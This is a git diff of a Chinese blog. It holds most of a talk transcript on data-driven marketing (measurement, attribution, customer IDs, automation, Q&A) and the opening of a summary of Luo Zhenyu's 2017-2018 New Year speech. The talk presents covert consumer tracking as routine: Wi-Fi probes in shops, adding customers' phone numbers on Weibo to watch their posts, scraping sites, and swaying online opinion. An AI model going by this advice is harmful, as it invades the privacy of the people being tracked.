+测量公司首先会选中一定的样本，比如几百个家庭，每个家庭发放一个日记卡进行统计收视率数据。这些家庭每天晚上看完电视，需要记录他们哪个时间段，看了哪些电视台，哪个节目，像写日记一样写出来。 + +填完之后，市场调查公司把这些数据采集回来，他们就知道了这几百个家庭都看了哪些电视节目，通过分析这些数据才知道每个电视节目收视率是多少，这是在传统的电视台上做市场调查非常简单的方法。 + +后来逐步更新，出现了收视测量仪，就是电视机顶盒。当时的遥控器上，有几个非常可笑的按钮，分别是爸爸、妈妈、爷爷、奶奶、小孩，当你看电视的时候，需要选择其中一个按钮来告诉收视调查公司，到底是谁在看这个节目。大家可以想像这背后数据的误差有多大。 + +我们把收视率数据采集回来之后，最基本的方法是采用投资回报曲线进行分析。这个曲线的横坐标就是投资成本，纵坐标就是回报。这个曲线的斜率，代表了投入产出的变化。 + +任何一个企业的投资回报斜率，都是逐渐降低的一个过程。为什么呢？可能有两个方面的原因：一方面，创业初期的产品跟竞争对手差异化很大，营销成本较低；另一方面，可能是企业创始人在社会上比较有名，自带流量。但是随着市场的竞争越来越激烈，企业投资成本会越来越高，所以企业的投资回报曲线的斜率会越来越低。 + +企业做营销决策的时候，不能看到投资回报曲线的斜率变低了，就不做决策了。我们要通过有效的管理，不断地提高产品毛利，使得我们在每一次营销活动中，虽然成本在变高，但是我们的利润仍然可以覆盖我们的成本。这样的投资回报曲线分析，对企业还是很关键的。 + +> 品牌（Brand）的测量 + +有市场调查公司分析出来这样一个结论：一个消费者在超市决策买哪一支牙膏的时间只有六秒钟，消费者眼睛扫过整个货架，会把熟悉的品牌牙膏放到购物车里。至于产品的价格、规格、价值，其实消费者并没有在意。所以品牌的测量对于企业也很关键。 + +很多产品的品牌经营，广告的投资效果能保持很久。大家知道一辆汽车如果打广告的话，并不是昨天打广告今天就会卖。买一辆汽车，对很多家庭来讲，决策周期长达半年以上。所以前期所有广告的营销，并不能直接产生销售，而是在消费者心里树立一个品牌。 + +品牌怎么测量？也没有别的方法，还是传统方法——问卷调查。街头抓一波人回来问有没有看过这个广告？看之前和看之后好感度有没有变化？ + +大家可以看到传统的营销背后已经有用很多数据来驱动营销效率提升了，因为中间测量越早，浪费越少。所以通过打通数据，提高反馈的周期，实际上是可以不断地驱动营销效率的增长。 + +> 产品（Buy）的测量 + +前面讲到收视率测量、品牌测量，实际上在消费者采购产品（Buy的策略）这件事情上也需要测量。 + +很多人问我为什么卖产品这件事需要测量？难道一个企业不知道自己买了多少产品吗？很多企业确实不知道自己卖出了多少产品，因为他们大多是通过经销商卖货的。 + +对企业主来讲，不知道货物是在渠道手里面，还是已经被消费者买走了，这是一件很危险的事情。因为如果你不知道你有多少产品已经卖出去了，你就没办法监测广告营销的效果。 + +测量产品最终卖出去了多少，这是传统的测量手段。还有更复杂的做法，很多传统企业采用直接到消费者家里收小票的方法来了解消费者的复购情况，这对于我们企业营销分析也很关键。 + +> 大数据推动了测量效率的提升 + +随着互联网的发展，如今的消费者越来越个性化了。到了这个时代，如果还用原来传统抽样调查分析互联网已经不行了。现在我们是用技术的手段去做互联网数据分析，因为服务器已经存下了消费者在网上的浏览行为数据，这个数据量很大，它的分析很有价值。 + +不管是收视率还是品牌，今天都已经可以做到实时测量了。以前做品牌测量，企业可能会找一个全球最大的品牌测量公司，今天不需要了，因为我们在百度指数就可以看到有多少人搜索我的品牌。如今很多数据在互联网上被记录下来了，而且记录下来成本很低。 + +所以在大数据时代，我们可以记录和测量的数据实在太多了，从消费者日常媒体接受行为、广告观看行为以及广告的点击等数据都可以被记录下来，这些数据一旦被记录下来之后，对未来得营销是极大的帮助。 + +# 大数据驱动营销效率提升 + +那么得到数据之后，我们如何利用这些数据提高营销效率呢？ + +> 打通数据，做营销的归因分析 + +首先，我们一定要把这些数据打通，做营销的归因分析。 + +今天，在互联网上，每个人不同的行为都可以通过移动设备连接起来。消费者用自己的手机观看广告，用支付宝、微信进行支付，这些行为是可以串起来的。把这些行为串起来之后，我们就可以进行数据分析了，这些数据分析可以很及时地影响营销计划。 + +数据连接所带来的影响是不一样的。我们给一些大型企业做数据分析的时候，会用到一张表。我们可以帮助每一个品牌、每一个企业去分析，一笔营销费用要分别在不同的渠道上花多少钱。 + +我们可以分析出，到底什么样的组合能够为企业拿到更多的客户，什么样的组合能够让一个用户看到更多次的广告，节目和节目之间到底有什么样的交叉影响。 + +在今天的这个大数据时代，消费者的消费可能受到各种因素的影响。因此，我们做营销数据分析，可以进行归因分析，去了解消费者在你店里买产品的原因是什么。 + +比如说，他是因为在百度上搜关健词，然后在后面的评论里看到了你的产品呢？还是他在优酷上看了一个视频广告？还是他在阿里巴巴的推荐页上看到商品之后，直接点进来买了？还是他其实从来没看过你的广告，只是他的朋友跟他讲了一句话，发现自己正好有需求，就买了。 + +如果我们把这些数据采集回来，就可以做归因分析了。 + +> 案例：化妆品品牌 + +之前，我们给一个化妆品品牌客户做过归因分析，帮这个客户把所有采集来的数据放到一起。这个客户发现，在这些数据没有连接起来之前，这家公司做的几乎所有的营销活动，产生的转化率都很低。 + +他投了很多很贵的广告，但最后发现很多消费者点完广告，很少会直接到天猫或者京东商城进行购买。这个大家很容易理解，一个消费者如果看了广告就去购买，这叫冲动消费。冲动消费的比例是很低的。 + +而在今天，更多的消费者都很理智。他们被网上的这些广告影响了，建立起了对一个品牌的印象。在他真正进行消费的时候，会到天猫、京东上搜索这个品类，搜索品牌的名字，直接下单。 + +所以，我们企业在做数据营销的时候，一定要学会把数据连接起来。 + +通过有效的数据分析，不断迭代营销方案 + +其次，我们要通过有效的数据分析，不断地进行迭代营销方案。 + +当我们给企业做了非常深刻的数据分析之后，我们就可以发现，在前面的这些营销活动里面，是哪一个内容促进了营销效果，哪一种组合营销效果最好。 + +只有通过有效的数据分析，不断进行迭代，才有可能提高你的效率。 + +> 电商：视频＋社交媒体，营销效果最好 + +如今互联网上，我们可以拿到的数据更多了，就可以把营销的每一个环节都分析出来。看看在每个阶段，企业要通过怎样的媒体组合去做营销。 + +在几年前的这个案例里面，我们最后的分析结论是，视频和社交媒体的营销组合能够极大促进电商销量。我们看到这个数据之后没多久，就发现阿里投资了新浪微博，成了新浪微博的大股东。过了一段时间，阿里又投资了优酷和土豆。 + +> 线下商店：先收集数据，再进一步分析 + +我们还做了另外一个很有趣的实验，帮助一家餐饮企业采集到店的数据。 + +传统的企业，比如一个线下的餐厅，不管它是卖汉堡，薯条，还是卖饺子，很多企业主可能并不清楚到餐厅里面来的这些客人，跟我线上的广告，跟企业其他的营销活动之间的关联是什么。 + +而在今天，我们可以通过技术手段，在这些餐厅里面采集数据，比如通过会员形式获得消费者的手机号，或者在餐厅里面部署wi-fi探针。 + +一旦跟线上的营销渠道打通，我们再通过进一步分析，就可以知道是线上的哪一支广告给店里带来了客人。 + +> 小企业做数据营销步骤 + +在这个过程中，我可以拿一个ToB小企业的执行步骤举例： + +① 一个产品从开始营销到获取利润一般会经过以下阶段：广告曝光、用户访问、用户注册、产生商机、下单购买。 + +② 注册用户阶段，通过注册信息可以发现潜在用户，采取策略跟进潜在客户，才可以把潜在客户转化为商机。 + +③ 潜在用户从关注到下单要经历以下步骤：需求确认（产品是自己想要的）、产品测试或体验、对比相关产品，最后下单。 + +④ 用户下单后，商家就可以统计产品的利润是多少。 + +⑤ 在这些环节中，小企业可用的免费/或高性价比的数据工具： + + 曝光统计工具：第三方监测服务（如秒针产品AdMonitor）、媒体数据统计等 + 注册用户统计工具：转化评估产品（如秒针产品SiteMonitor、WithData等）、百度统计、微信后台 + 商机管理工具：CRM后台统计工具、Dashboard (Excel表单) + 营销与业务利润联接可依赖的工具：财务系统、OA + +# 个性化营销是共识，营销自动化时代来了 + +现在的消费者越来越个性化，只有根据他们的心理状态和产品诉求量身定制个性化营销方案才能打动他们。而随着互联网技术的发展，未来的营销方式一定是逐渐自动化的，未来的营销将是一个营销自动化的时代。 + +未来的营销活动更像股市， +多因素影响，预测越来越难 + +未来的营销就像物种演化一样，进化压力大，同品类竞争越来越激烈； 分化压力大，新的差异化细分品类产品不断出现。 + +这就导致营销推广越来越复杂、越来越细分，社会资源总量是有限的，每个消费者的资金也是有限的，如何在竞争激烈的环境里提高效率成为一件决定成败的关键事情。如何提高营销效率？我觉得以下三点需要重视。 + +> 加强对消费者的研究 + +营销的本质是辅助业务的发展，营销活动因市场环境变化而发展。市场是演化发展的，营销也是。 + +比如，互联网媒体从出现那天起，就在不停地演化。新浪第一天出现的时候，只有一个频道，后来它出现了体育、科技、财经等频道，再后来每一个频道下面又有二级、三级频道。这些电视节目频道不断地被细分，直到百度出现，把它做到了极致。为什么呢？因为百度用关键词把所有消费者细分了，每个关健词都代表了一个不同的消费者。 + +营销科学大师提出了很多理论，从定位，到4P、4C、4R等，每个理论都很复杂，但所有理论背后最本质的都是对消费者的理解和研究。 + +今天产品背后的消费者是谁？这群人有什么样的特点？在哪儿能找到他们？营销最根本的还是这几件事情。但随着消费者需求越来越个性化，营销的方式也将变得越来越多元化。 + +> 测量重点环节 + +未来营销面对的环境将越来越复杂，每一个因素都对最终的营销结果产生作用，但是没有任何一个因素会成为决定性因素，这跟牛顿时代的方法论是不一样的。牛顿时代的方法论是指未来是可以预测的，整个营销过程像是一个机器运作的过程，每个环节按计划执行。 + +而我觉得，首先由于消费者个性化需求的多元化，未来营销活动的表现更像股市的表现，它还会受到很多不可预测的环境因素影响，即使你预测到了产品定价的变化、消费者的变化以及竞争对手的变化，你还是有可能遭遇不确定性，比如突然来了一个SARS，你的产品销售就会立刻受到很大影响。所以，各种各样的原因都有可能影响营销结果。 + +因此我们就需要找到对最终结果影响较大的环节，对它们进行数据分析和测量，以便更好地理解消费者。而互联网和传统媒体最大的区别就是Addressable/可寻址。 + +在传统媒体时代，客户群是计划出来的，你很难知道自己的用户真正是谁，他们是一批什么样的人。而在互联网时代，你不但可以追踪到网上播放出去的内容有多少人看，还可以通过ID进一步了解他们。 + +传统营销互动成本很高，转移到互联网上，这件事就变得简单许多。包括我们今天的数字电视机顶盒，每一个设备都有一个ID，而有了这个ID，互联网的内容就变得可以定制。未来每个人都是一个市场，每个市场都可以有定制化的内容播放。 + +在过去，全中国的老百姓晚上7点打开中央CCTV-1的时候，看到的都是新闻联播节目。未来有了定制化，老百姓晚上7点打开中央CCTV-1，看到的内容可能是不一样的，是专为契合他需求的新闻内容。 + +老百姓在观看节目的时候把自己的ID上传到了服务器上，而服务器则基于这个ID给他们反馈一个动态定制的内容，接下来，他们跟内容互动的所有数据，都会被存储起来，以便给他们提供更好的定制化内容。 + +> 重视数据的作用 + +现在，通过设置首席客户官这个职位，品牌正逐渐将“以客户为中心”的文化渗透到自己的DNA中，这种职称上的改变是很重要的，客户主管这个职务很重要，因为它的职责是理解客户的情感和需求，而不是公司的需求。 + +从另一个角度来说，管理客户关系，就意味着数据在营销中有着越来越重要的作用，据IBM一项关于大数据的调查显示，那些数据驱动型公司的表现比它们的同行要高出220%。然而2011年IBM的一项全球CMO调查(Global CMO Study)显示，71%的CMO面对“数字爆炸”都表示没有准备好。 + +所以，想要提高营销效率，首席客户官必须努力地跟每一个消费者建立联系，了解消费者到底在思考什么，根据他们的个性化需求去设计产品。 + +营销环境竞争激烈，通过消费者ID与之建立好朋友关系才能赢 + +在如今这样一个优胜劣汰的环境里面，竞争是非常激烈的，没有任何一款产品能一直存活下去，即使是生活必需品，也在不断地演化。我们唯一能做的就是与消费者建立好朋友关系，并根据消费者精神诉求，定制个性化产品及营销方案。 + +> 与消费者建立联系 + +每个品牌，未来必须能够拿到消费者的ID才能掌握主动权。虽然你把产品交给了阿里或者京东去卖，但寄快递的时候，你是可以拥有他们的手机号的，当你拿到这些ID之后，你要跟他们保持一对一的沟通，实时观察他们，了解他们到底需要什么，基于他们的需求，不断地改革、颠覆自己的产品。 + +互联网时代，很多人的活动轨迹都暴露在互联网上了，通过技术手段分析这些数据，你会对消费者有深刻的理解。 + +我们在互联网上可以获得很多数据，作为品牌主，你可以去你的目标用户所在的网站里看看他们都在聊什么，搜索相关数据进行分析。 + +假如你是卖车的，你可以到汽车论坛里面搜集数据，简单做一下数据分析，你就可以得出很不一样的结果了。当你得出这些结果时候，你应该第一时间去做出响应。 + +我们曾帮助一个大型的餐饮企业做过消费者理解。通过数据抓取，我们发现，微博上面讨论这个品牌的消费者喜欢玩游戏，于是这家企业开始跟游戏公司大量交叉合作。后来，我们还发现，这批用户非常喜欢打某款特定的网络游戏，于是他们在这款游戏火起来之前就跟它开始了交叉合作，联合做了很多推广。 + +假如你想了解消费者购买的情况，可以用爬虫工具搜集天猫上的数据进行分析，看看营销关键词是不是在发生变化；看看你的产品评价和竞争对手的产品评价有什么不同。 + +这些评论很关键，你的营销话术应该围绕这些评论展开，因为它可能会帮助你找到竞争对手的弱点，在跟客户沟通过程中，你可以阐述这件事情，甚至可以采取一些方法影响这些舆论，最后促进产品的销售。 + +> 打造个性化产品 + +此外，随着消费升级，未来所有产品的演化，将更多的体现在精神层面。人们“吃”和“喝”的需求基本得到满足了，“玩”和“乐”其实是更大的增量市场。 + +今天是一个信息爆炸的时代，互联网把我们每一个消费者，跟世界上各种各样不同的信息连接起来了，一个消费者昨天可能还是一个篮球的爱好者，今天看了一场网球的电影，就特别喜欢网球了。这时候你卖一个服务，配一个网球的明星，他就比较容易接受。 + +每个消费者的精神升级都是因为接触各种各样不同的信息所演化出来的，消费者精神层面需求的演化让产品分化变得更加重要。 + +高晓松称之为压箱底的电影——《同桌的你》，大家都看过吧。其实这部电影拍之前，已经对受众进行了大数据分析和预测，电影内容完全是基于消费者心理状态和精神需求去定制的，这也是《同桌的你》票房大卖的一个关键因素。 + +通过数据分析，我们可以知道，我们的消费者将来分为哪几类，一些消费者在年轻的时代曾经接触过什么样的内容，今天当他有消费能力的时候，我推荐给他什么内容他最乐意接受？通过数据分析，营销变得更加高效。 + +> 个性化营销是趋势共识， + +> 未来是营销自动化时代 + +未来终极的营销将是一对一的个性化营销。这种极致的个性化营销带来的成本也是很大的，每一个品牌面对的消费者可能有一千万种，我们不可能每个消费者都提供一款产品，所以我们要在终极的个性化消费和当下的营销之间找到平衡。 + +我们要思考用什么模式，既可以把消费者分的很细，同时还能够提高效率？根据我的经验，品牌主一定要主动测算数据、利用营销自动化系统、重视消费者精神需求。 + +> 主动测算数据 + +想要降低个性化营销成本，其实最核心的方法是通过数据主动的进行测算。 + +我们每一个中小企业都应该去分析自己的消费者，并有意识地在与消费者沟通过程中采集数据。 + +举个例子。我有一个混沌创业营的同学，是开饺子馆的，我们叫他饺子哥。以前他在经营自己饺子馆的时候，其实是不太习惯去做数据分析的，因为他觉得自己对消费者的理解已经很深刻了。根据他的经验和观察，餐饮行业消费者有这样的特点：10-20岁的消费者喜欢凉、酸的食物； 20-30岁的消费者喜欢重口味的食物；30-50岁的消费者喜欢健康的食物。 + +他是从东北的一个饺子馆开始做起来的，业务逐步拓展到北京、上海等其他城市以后，他发现原来一些想法需要更新了，换个城市，消费者的饮食习惯就不一样了。当发现这件事情之后，他做出了非常正确的决定，从大公司请来一位做数据分析的营销专家，开始帮助他做市场调查。当他开始做市场调查之后，他得到了一些以前花十年才能总结出来的经验。 + +后来我又跟他聊，我问他做会员了吗？他说还没有做会员。我立马建议他接下来建立会员机制。 + +大家都知道，今天很多企业，不管大型企业还是小型企业，都会设法建立会员机制。有了会员，才有了ID，有了ID，才有了消费者的手机号、邮箱、微信号等信息，才有机会跟消费者进行一对一的互动。 + +> 利用营销自动化系统 + +未来营销的过程，我们称之为营销自动化的时代。营销自动化时代做营销就不能只是靠人力了。 + +假设有一万个消费者，他们每个人的心理状态和产品诉求都是不一样的，这时候品牌主提供的服务应该是不一样的。但这么多消费者，如果一一发放问卷测量他们的心理状态和产品诉求就效率太低了，这时候就必须借助营销自动化系统。 + +很多企业都做过邮件营销。实际上，通过营销自动化系统，品牌主可以知道，营销邮件用哪个标题，什么内容，推送给哪些人，能实现最好的营销效果。测量前和测量后，这封邮件的转化率可能会差10倍。所以，个性化的营销背后一定要有营销自动化系统支撑。 + +> 重视消费者精神需求 + +个性化营销本质是给不同的消费者，不同的设备，在同一个时间，同一个地点推送不一样的内容。未来所有产品的设计，要更多地去思考消费者的精神需求。 + +举个例子。我有一个朋友，在英国投资了一家企业。这个企业做了一个机器人音箱。这个音箱跟传统音箱有非常大的区别，它是一款完全可以根据消费者的特点进行定制化的音箱。 + +所有的顾客在买这个音箱之前都要填一个非常长的问卷，这个问卷把消费者的各种兴趣爱好、性格特点等全部问回来了，拿到资料之后，这个商家会根据心理学的一些方法论，把消费者分成了16类，然后为每一类消费者邮寄适合他们的个性化音响。可想而知，这套根据用户心理需求量身打造的营销体系，所带来的附加价值是极大的。 + +在一个个性化的时代，每一个企业主都要思考，我们所在领域产品演化的形态是什么？我们要面对的消费者，在其它产品形态上的需求是什么。 + +虽然我们自己的产品营销，不一定能很快取得成功，但是我们可以去参考同样的消费者在其它品类里面精神需求是什么，这非常重要。这个参考可以指导我们对消费者进行分类，从而构建一个系统，完成在这个系统上建立数据的闭环。 + +这个闭环最核心的方法论，就是打通Watch-Brand-Buy，关联I(Investment)和R(Return)。Watch代表让消费者看到内容，brand代表品牌， buy代表营销终极目标，把东西卖出去。而investment代表投资，return代表回报。 + +数据驱动营销的唯一目标其实就是提高投资回报率。提前把所有跟投资和回报相关的数据记录下来，把中间每个环节的数据记录下来，最终连成一片，这是非常基本的方法论，把这个方法论用好，我们每个企业营销效率会提高很多。 + +# 互动问答 + +> 用户复购或者增长的关键点是什么？ + +主持人：您刚刚提到了我们要找到用户复购、用户增长的关键点，这个数据的具体指标是什么呢？ + +吴明辉：从让用户看到你的产品，到让用户购买这个过程，没有完全标准的方法，这个方法完全取决于你今天的能力。 + +举个例子。假如你有一个产品在官网售卖，你可能把购买数据存下来了，但是没有把那些在官网上停留了一段时间又离开的用户数据存下来，这是非常可惜的事情。 + +在页面停留了一段时间又离开的用户是什么样的人？这些很有分析价值。通过数据分析，你会发现用户没有购买的原因，而这些原因你自己可能是想象不到的。 + +我们曾经帮助一个卖汽车的客户，提高官网转化率。通过数据分析，我们发现，很多用户在注册信息填写身份证号的时候流失了，通过分析发现，客户是觉得填写身份证号要慎重。如果首先填写手机号等信息，未来在购车的时候再填写身份证号会更顺畅一些。所以如果不做数据分析的话，你可能就丧失了很多与客户接触的机会。 + +在做数据分析的时候，你需要完全抛弃自己的原始想法，我们看待消费者的时候不要先入为主想象消费者是怎么样的，看了数据以后，你对消费者理解会完全不一样。从watch到buy的过程中，我们要尽可能多地做用户数据分析，加强对消费者的了解。 + +> 如何评估感性数据？ + +主持人：量化的数据其实是容易获取的，但如何评估感性指标呢？ + +吴明辉：互联网时代想了解感性东西，比较简单的方法是看互联网的舆情数据。在论坛、微博里面就可以看到的。比如你做了一个H5页面，推出去，到底多少人看了？如果你的H5页面本身有问卷，用户在里面填了，你就可以直接拿到用户ID。 + +如果不找第三方数据公司的话，最简单粗暴的方式就是拿手机号直接加微博，加了微博后，你可以看他微博里面每天都讨论了哪些内容。我前面给大家讲的餐饮客户，就是通过这样的方法来了解到目标客户喜欢玩某款特定的网络游戏，而与这款游戏跨界合作，取得了很好的店面转化结果。 + +这些东西都是情感层面的需求，不是简单的统计数据，如果用AI做的话很复杂。作为中小企业要简单很多，就去看看那些内容是什么，对这个东西有一个体会就好了。 + +> 2B的数据驱动营销如何操作？ + +主持人： 2B的大数据营销，首先得清楚这家企业现有用户的画像，怎么充分发挥价值，同时在外部互联网上对接，这么多渠道如何自由选择？ + +吴明辉：还是要分析现在这些客户都是哪些市场的。 + +比如我们有一块数据是公安局，实际上我们给公安局做画像，不仅要给公安局本身做画像，同时还要对公安局里面的人做画像。 + +我们有的时候发现，沿海地区的公安局，预算充足，会花钱买一些新的产品。但是有的时候我们发现某个城市经济并不太发达，这个区域的公安局也愿意买一些新产品，原因可能是这个区域的公安局局长本身是年轻人，想通过科技做一些事情。 + +对于已经买你产品的用户，不管是人还是企业做用户画像都是很重要的。 + +有一家挺有名的创业公司，它从企业这边拿到数据，能帮助企业预测到底哪一个企业最有可能成为下一个客户。 + +我之前还看到更复杂的玩法，大家知道百度其实也是一个2B的公司，他们卖关健词给很多企业。他们怎么知道这些公司名字的？其实他们是从百度地图上得到的数据。 + +做用户画像的话， 2B企业和2C企业一样的，只是2B企业更复杂一点。 + +> 小企业最重要的六个数据标签是什么？ + +主持人：大家都知道数据重要，但是通过ID打通完善自己目标受众的用户画像，小企业比较难，对于小企业哪些用户维度最重要，说出对小企业最重要的前六个数据标签吗？ + +吴明辉：一个企业CEO要了解一个消费者从最开始对这个东西没感，到最后买你东西心理变化的过程。 + +这几个标签想办法拿回来，手里面数据有限的，大家不知道BAT今天能开放这样一些接口，如果给他们一个比如说手机号的包，里面可能有一万个手机号，可以给你做一些用户画像的服务的。 + +这里面BAT有自己的消费者隐私的保护的手段，不能给他一个人，如果给一万个人的话没问题的，其实本身是模糊的。所以这个有一些方式方法做这个事情的，标签的维度是什么。 + +举个例子， 假设消费者是一个刚刚毕业的大学生，他符合买笔记本电脑的品类，进入第一个漏斗了，然后他现在面临很多品牌选择，苹果电脑很好，但是很贵，他也知道联想是一家非常不错的企业，现在因为面临很多的选择，在这样的分析的时候该抓住什么样标签，抓住用户？ + +应该有以下几个阶段：第一个阶段根本没有买这个产品的需求，第二个有买这个品类的产品需求了，第三个阶段现在是已经有几个备选品牌，第四个阶段真正开始决定买了，挑一个好的渠道，好的价格，这几个不同的阶段实际上我们在互联网上拿到他的行为位置是不一样的。 + +早期那些人所有的网站上都能找到，中间这些位置的人可能是他一定要去到一些频道了，比如说笔记本的话可以去到一些IT网站的笔记本频道，BBS，我们可以做营销的。但是你要对这个消费者来到这个页面当时所在的状态有理解，推送内容。 + +如果在一个已经去到了京东和阿里页面消费者还给他推荐笔记本很重要，完全浪费自己广告费，来到这儿消费者已经决定买了，只是比价格了，更多影响他的价格心态。 + +不同环节数据不同渠道可以拿到的。如果有足够的资源的话可以去百度买，所有的关键词用户把他数据采集回来了，买自己品牌关健词，把竞品关健词都买了，不同关健词点击者都已经划分开了，这些划分开了后台可以做各种各样不同测试了，因为任何一个测试本身也是要花费用的。 diff --git a/_posts/2018-01-09-264-luozhenyu.md b/_posts/2018-01-09-264-luozhenyu.md new file mode 100644 index 0000000..0bdf317 --- /dev/null +++ b/_posts/2018-01-09-264-luozhenyu.md @@ -0,0 +1,742 @@ +--- +layout: post +title: 罗振宇2017-2018跨年演讲 +pid: 264 +tags: [罗胖跨年演讲文稿] +--- + +2017年12月31日20:30，上海梅赛德斯奔驰文化中心，罗振宇“时间的朋友”跨年演讲如约而至。 + +罗胖曾发下大愿望：举办跨年演讲，连办二十年。今年，是倒数第十八场。 + +历时四个小时的演讲中，罗胖带着自己过去一年，与各路高手交谈的心得和收获—— + +为你提出六个问题，给出六样答案，开出六种脑洞，带你发现属于我们这代人的“中国式机会”。 + +以下是全文回顾： + +巨变与焦虑 + +我 们 的 2017 + +“对你来说，2017 年哪一天你认为很重要？”罗胖得到很多答案。 + +> 10月18日，十九大召开对我们都很重要； + +> 10月27日，冯唐发明新词“中年油腻猥琐男”； + +> 11月28日，比特币超过 10000 美元…… + +2017 年，中国已经很牛很牛—— + +GDP大约12万亿美元，成为全球第二大经济体； + +世界500强公司，中国占 115 家；我们的中等收入人口和大学生的数量都是世界最多；绝大多数工业品产量连续数年世界第一；钢铁产量连续 20 年世界第一…… + +但焦虑也随之而来…… + +> 创业公司能不能长大？ + +> 阶层是不是已经固化？ + +> 什么职业更有前途？ + +> 多少钱放国内，多少钱配置海外…… + +所有这些焦虑，都指向一个根本问题：中国有没有前途？ + +◇◆◇ + +在罗胖寻求答案的过程中，有两个高人加深了他的焦虑。 + +第一位是红杉资本的沈南鹏。 + +11月20日，腾讯总市值达 5000 亿美元，超过 Facebook。 + +沈南鹏认为这一天很重要，意味着中国互联网经济已经具备世界级竞争力。 + +其实不止是腾讯，阿里巴巴的市值也一度超过亚马逊， + +2017 年，中国互联网产业进入大者越大、强者恒强的时代。 + +过去，大象会跳舞就不错了，现在大象在跳街舞。 + +放眼世界也是如此，创业者还有机会吗？这确实让人焦虑…… + +湖畔大学教务长曾鸣，称这种现象为“黑洞效应”—— + +只要一家企业具备网络协同和数据智能这两种发展动力，它就会像黑洞一样吸收周边资源，越长越大，不可逆转。 + +> 曾鸣，《智能商业二十讲》，目前免费 + +知名投资人林利军：“新一代基础设施一旦建成，就会出现行业集中度大幅度提高的现象。” + +这种事在历史上反复发生。 + +> 市场出现 50 个左右的行业龙头公司 + +2017 年，商业世界进入长跑比赛最后时刻，竞争愈发激烈，聚光灯紧随前几名，后面的参赛者无人关心。 + +◇◆◇ + +另一个带给罗胖焦虑的是应书岭——游戏业的大佬、英雄互娱创始人，他讲了一个心惊肉跳的故事。 + +10月30号，小米公司发布《小米枪战》，几天内登上了中国苹果商店榜首。 + +这种 100 人参加，但只有 1 人生还的竞技游戏，被称为“吃鸡”，近来大火。 + +几家巨头投入重兵研发，不料被斜里杀出的小米，收获市场首发红利。 + +两天后，网易发布两款吃鸡游戏；几天后，腾讯宣布自己的吃鸡游戏即将上线；应书岭也赶紧宣布：英雄互娱的吃鸡游戏马上登场。 + +一个战场，从悄无一人到炮火连天，前后不过一周！快，疯狂地快！ + +应书岭说：不只是一个维度在加快，是整个世界都在快起来—— + +电脑和网络速度在加快； + +大企业的行动在加快：丁磊亲自在一线督战，腾讯实施“247”作息制度，每天 24 小时，一周 7 天三班倒； + +市场演化在加快：先发意味着节约几百万美金推广费，可能是压倒性优势。 + +◇◆◇ + +游戏市场的打法已经快到什么程度？再举个例子。 + +有款新游戏，在极短时间内签下很多男明星代言，从常理看这不可能。 + +真相是——他们没签合同，明星照片先用了再说。 + +如果有效，再给经纪人打电话：只要肯授权，几百万马上到账…… + +没错，这就是侵权。但明星团队是愿意打旷日持久的官司，还是落袋为安？ + +反过来说，游戏公司是愿意侵权拿到市场的先发优势，还是在规则之内缓慢行动？ + +过去的打法，慢了；人类现行维护公平和秩序的制度，也慢了…… + +应书岭说：“我们这个行业，所有人都在逾越规则，所有人都在离经叛道。” + +变快的不只是机器、公司、市场……还有“用户的演化”。 + +为什么上半年最火的游戏还是《王者荣耀》，下半年就变成了吃鸡？ + +原来的电脑游戏，玩家十分钟爽一下；手机游戏大概两三分钟爽一下。 + +再到吃鸡，一分钟可以让用户爽好几下。玩家追求强烈、高频的刺激，用户的心智在飞速迭代，产品必须紧随其后。 + +在接收信息方面，上一代人不如我们，我们也不如下一代。 + +「得到」App的大部分内容使用音频交付，为了提升效率，得到做了倍速播放功能。 + +可是，一个用户告诉罗胖，他平时用的是 5 倍速…… + +“体验是一种可以训练出来的能力，一旦达成，再也退不回去。” + +当下几乎所有行业，都在面对用户的飞速演化。 + +用钞票和用微信/支付宝支付，有什么区别？ + +表面是更快更方便；实质上，用钞票支付，你是在理性决策；用手机支付，你是在冲动消费。 + +购物，越来越不是理性的决策行为，用户用本能花钱，追求的是快感。你的策略该怎么变？ + +过去，商业世界的主题是竞争；而未来，商业世界的主题是追赶用户。 + +一方面，大者越大、强者恒强，我们追不上； + +另一方面，后面的人逾越规则、离经叛道，可能很快超越我们…… + +关于我们这代人的焦虑，罗胖得到了各样的答案，但最终都聚焦到了六个问题—— + +第一，我们不是强者，还能不能登上舞台？ + +第二，我们刚刚进场，怎么找到新玩法？ + +第三，跟不上变化，会不会被淘汰？ + +第四，中国经济增长会不会遇到天花板？ + +第五，中国经济增长有没有可持续性？ + +第六，中国能否赢得良性的全球发展环境？ + +这6个问题，罗胖得到了阶段性答案，过程中脑洞大开，也逐步看清了当下的机会所在。 + +这些机会只能发生在中国，这是“中国式机会”。 + +今年跨年演讲，罗胖将这6个脑洞完整呈现给大家—— + +动车组脑洞 / 热带雨林脑洞 / 比特化脑洞 + +拔河脑洞 / 终点站脑洞 / 枢纽脑洞 + +问：在大者越大、强者恒强的时代，还有没有新玩家的舞台？ + +# 第一个脑洞: 动车组脑洞 + +接着刚才的话题，沈南鹏继续说—— + +就像很多品牌厂商纷纷加入汽车行业，暗流涌动。 + +种种迹象表明，中国做电动汽车比美国更适合。手机业这些年的故事，会不会在汽车业重演？ + +放眼其他新兴领域，世界上最多的人工智能论文出于中国人之手，世界上最大规模的生命科学人才储备就在中国，很多高精尖领域皆是如此。 + +就在我们身边，也不乏机会。 + +「得到」专栏作者刘润发现：今年的热门公司都来历奇特，出身在二三线城市。 + +按说，一线城市人口聚集多，信息传播快，示范作用好，为什么这些成功的消费品牌反而诞生在二三线城市呢？ + +这和中国独特的国家禀赋有关，尤其是人口的分布结构。 + +峰瑞资本的李丰说：“消费品牌和人口的分布状况，几乎完全正相关。” + +从这一点来看，现在的中国更像美国。 + +二三线城市聚集更多人口，更能代表人们的生活方式，于是成为消费品牌的实验室—— + +通过论证后，才能在更大范围复制。 + +未来全球的大消费品类，都会有中国品牌的一席之地。 + +创业家的牛文文说“中国所有的生意都值得重做一遍。”创业不是新兴阶层的专有权力。 + +2017年，全中国各个层面的传统生意人，都已经被激活。原来有行业基因的企业，机会来了。 + +> 章燎原在做“三只松鼠”前，有9年线下零售经验； + +> 陶石泉在做“江小白”酒之前，做过9年金六福总裁助理，管过市场和销售； + +> 徐正在做“每日优鲜”之前，在联想控股做农业。 + +那些在行业里深耕多年，了解产业本质，积累了一定资源，能力被证实的人，正在成为新一代创业者。 + +这些机会不只属于老牌精英，普通人日常生意中积累的经验和知识，正在变得价值连城。 + +2017年的商业版图上，快递业表现亮眼，四通一达和顺丰完成上市后，创始人都成了新晋富豪。 + +圆通、韵达、中通、申通创始人都来自浙江杭州桐庐县。 + 